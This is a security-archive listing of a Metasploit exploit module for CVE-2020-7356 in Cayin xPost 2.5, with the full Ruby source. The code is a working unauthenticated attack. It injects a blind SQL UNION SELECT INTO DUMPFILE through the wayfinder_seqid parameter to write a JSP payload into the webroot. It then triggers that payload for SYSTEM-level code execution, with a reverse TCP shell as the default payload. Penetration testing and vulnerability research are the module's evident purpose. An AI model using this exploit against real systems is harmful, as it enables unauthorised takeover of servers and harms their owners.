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Cayin xPost 2.5 SQL Injection / Remote Code Execution

Cayin xPost 2.5 SQL Injection / Remote Code Execution
Posted Jun 18, 2020
Authored by LiquidWorm, h00die | Site metasploit.com

This Metasploit module exploits an unauthenticated remote SQL injection vulnerability in Cayin xPost versions 2.5 and below. The wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected blindly. Since this app bundles MySQL and Apache Tomcat the environment is pretty static and therefore the default settings should work. Results in SYSTEM level access. Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads seem to be valid.

tags | exploit, java, remote, sql injection
advisories | CVE-2020-7356
MD5 | 0bce693076ed6cfe035781e990db745d

Cayin xPost 2.5 SQL Injection / Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',
'Description' => %q{
This module exploits an unauthenticated SQLi in Cayin xPost <=2.5. The
wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected
with a blind SQLi. Since this app bundles MySQL and apache Tomcat the
environment is pretty static and therefore the default settings should
work. Results in SYSTEM level access.
Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads
seem to be valid.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Gjoko Krstic (LiquidWorm) <gjoko@zeroscience.mk>' # original PoC, discovery
],
'References' =>
[
[ 'EDB', '48558' ],
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
[ 'CVE', '2020-7356' ]
],
'Platform' => ['java', 'win'],
'Privileged' => true,
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'Jun 4 2020',

'DefaultOptions' =>
{
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Payload' => # meterpreter is too large for payload space
{
'Space' => 2000,
'DisableNops' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),
OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location
OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')
)

if res.nil? || res.code != 200
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end

%r{// xPost v(?<version>[\d\.]+) } =~ res.body

if version && Gem::Version.new(version) <= Gem::Version.new('2.5')
print_good("Version Detected: #{version}")
return CheckCode::Appears
end

# try a backup plan, at least verify the title
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')
)

if res.nil? || res.code != 200
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')

end

if res.body =~ %r{<title>xPost</title>}
vprint_good('HTML Title includes xPost')
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end

def exploit
filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']
filename = "#{filename}.jsp" unless filename.end_with? '.jsp'

vprint_status("Utilizing payload filename #{filename}")
vprint_status("Payload Size: #{payload.encoded.length}")
vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")

payload_request = "-251' UNION ALL SELECT 0x"
payload_request << payload.encoded.unpack1('H*')
payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '
payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"
payload_request.gsub!(' ', '%20')

vprint_status('Attempting Exploitation')
uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')
# use raw to prevent encoding of injection characters
res = send_request_raw(
'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?

if res.code == 400
fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
end

if res.code != 302
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
end

register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")

vprint_status('Triggering uploaded payload')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, filename)
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
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